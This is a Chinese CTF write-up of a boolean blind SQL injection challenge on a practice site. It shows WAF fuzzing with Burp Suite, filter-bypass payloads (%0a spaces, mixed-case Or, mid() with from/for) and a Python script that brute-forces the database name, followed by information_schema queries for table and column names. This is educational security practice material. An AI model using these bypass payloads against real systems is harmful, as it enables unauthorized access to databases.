上个学期课程真的很多,而我又不想去逃课什么的了,毕竟期末补课真的太痛苦了,所以一直也没有什么新的内容更新,简单的说就是我鸽了....
0X00 FUZZ测试
经过一些比赛以及练习,我发现在开始做题前,信息收集真的很重要,比如说体现在sqli的题目中你要针对WAF规则进行的FUZZ测试,或者其他题目中对于网站目录的扫描。FUZZ测试现在看来还是很有用的,如果不摸清楚WAF规则,就随便构造payload那就是在浪费时间。
那么,进行FUZZ测试的工具有很多,而我在做sqli的题目时使用的是burpsuite
下面我们就以实验吧认真一点这道题为例:
题目地址:http://ctf5.shiyanbar.com/web/earnest/index.php
题目的界面是这样,我们尝试提交查询后发现这是一道sqli的题。
而且我们输入1,他会显示You are in...
输入其他的,会显示You are not in
很明显,这是一道布尔盲注
然后输入2-1,显示you are not in,显然这是字符型注入。
但是,我们会发现,我们尝试闭合单引号时,
出现了警告,显然是有WAF。
于是我们开始用burpsuite来进行FUZZ测试:
注:如果大家还不了解burpsuite的用法,可以参考我前面的文章
设置代理后,抓到一个包,然后送到instruder,我们开始构造payload测试。
如果自己构造字典,那就太麻烦了,幸好有一个叫做fuzzdb的开源项目,为我们把这些工作都准备好了。我们clone下来选一个适合自己的字典就好了。
我们选择xplatform.txt就可以。
我用的社区版,单线程速度就很慢,所以有钱还是要买专业版,许多功能都不一样的....
然后根据收到包的大小排序,根据包大小就可以区分状态。
我们根据fuzz的结果可以知道,waf过滤了and,空格,以及substring,substr等等。但是没有过滤or,引号什么的,所以我们依然可以构造。
0X01 构造payload
空格被过滤也没关系,我们可以通过urlencode等字符来绕过,比如说%0a,%0c,%09什么的都可以,也可以通过括号绕过。
但是这里要注意,不要在网页的input框中替换,因为在post发送时,他会再进行一次urlencode,这样你的内容就会出错,第一次我就是因为这个卡了好久,你可以在burpsuite中修改,因为那时候已经encode了。
而且这里有一个很坑的地方就是,他没过滤or,但是他会替换掉or这两个字母的组合,这是我第一次没发现的,也是一直做不出来的原因,所以我们可以通过大小写,或者oorr来替换。
下面就是布尔盲注的常规操作了
-
猜数据库库名长度:
0' or length(database())=5 or '0
然后根据waf规则替换:
0'%0aOr(length(database())=18)Or%0a'0
构造好以后,直接送到instruder中跑出结果
我们可以看到,跑出了结果,数据库名字长度为18.
-
猜解数据库名字
猜解名字时,会用到一些常见的函数,比如前面说到的被禁的substr,substring。这些都被禁没关系,我们还有mid函数没被禁,但是尝试以后我们会发现,逗号被过滤了,于是我可劲google,终于发现一个trick:
我们可以用from与for来代替逗号。
下面我们开始构造payload:
0' or (mid(database()from(1)for(1))='a') or '0
然后替换:
0'%0aOr%0a(mid(database()from(1)fOr(1))='a')Or%0a'0
然后一样的送到instruder,但是涉及到这里有两个参数,所以为了效率,我们自己写程序来实现:
import requests as rq def get_db_name(): """ guass the db name """ headers = { "Host": "ctf5.shiyanbar.com", "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Referer": "http://ctf5.shiyanbar.com/web/earnest/index.php", "Connection":"close" } chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+-_/;:'\|@" url = "http://ctf5.shiyanbar.com/web/earnest/index.php" strs = "" for id in range(18): for char in chars: payload = "0' or (mid(database()from("+str(id+1)+")for(1))='"+char+"')or '0" payload = payload.replace(" ", chr(0x0a)).replace("or", "Or") data = { "id":payload, "submit":"Submit+Query" } r = rq.post(url, data=data, headers=headers) if "You are in" in r.text: strs+=char print(strs) break get_db_name()
这样我们就得到了数据库的名字
-
猜解表的数量
猜解表与字段时,要用到一个叫做information_schema的结构,这个结构是mysql的信息数据库。它里面有许多关于数据库的信息,你想知道的表名什么的都在里面
构造:
0' or ((select count(table_name) from information_schema.tables where table_schema=database())=3) or '0
替换:
0'%0aor%0a((select%0acount(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database())=3)or%0a'0
运行得到结果:2
当然,这里也可以选择不猜解数量,而是使用group_concat函数,这个我们后面在说
-
猜解第一个表的长度
构造:
0' or ((length((select table_name from information_schema.tables where table_schema=database() limit 1)))=4) or '0
替换就省略了,因为一样:
所以最终得到第一个表的长度为4.
-
猜解表的名字
同样的,我们要用到information_schema:
构造:
0' or (mid((select table_name from information_schema.tables where table_schema=database() limit 1) from 1 for 1)) or '0
显然,我们已经找到flag所在的表了,就不用再看后面的表名了,不过处于学习的想法,我们来试一下group_concat这个函数:
这里不讲解group_concat的具体用法了,这里只做展示
构造:
0' or (length((select group_concat(table_name separator '@') from information_schema.tables where table_schema=database()))=10) or '0
结果为10;
然后我们猜解一下:
这下两个表都出来了 fiag和users
而且,我发现很多文章中,在用group_concat的时候还用了limit,我觉得这是一种很多余的做法,既然你要将表名都拼接在一起,那么干嘛还限制第一张表。
-
猜解列的数量
构造:
0' or ((select count(column_name) from information_schema.columns where table_name='fiag')=3) or '0
但是,这里我没有跑出结果,开始我一会以为是我的payload写错了,后来我才发现:
不过,其实后面工作也一样了,只不过没法自己把flag爆出来,还是很不舒服的。
总的来说,盲注的工作量是真的大。
网友评论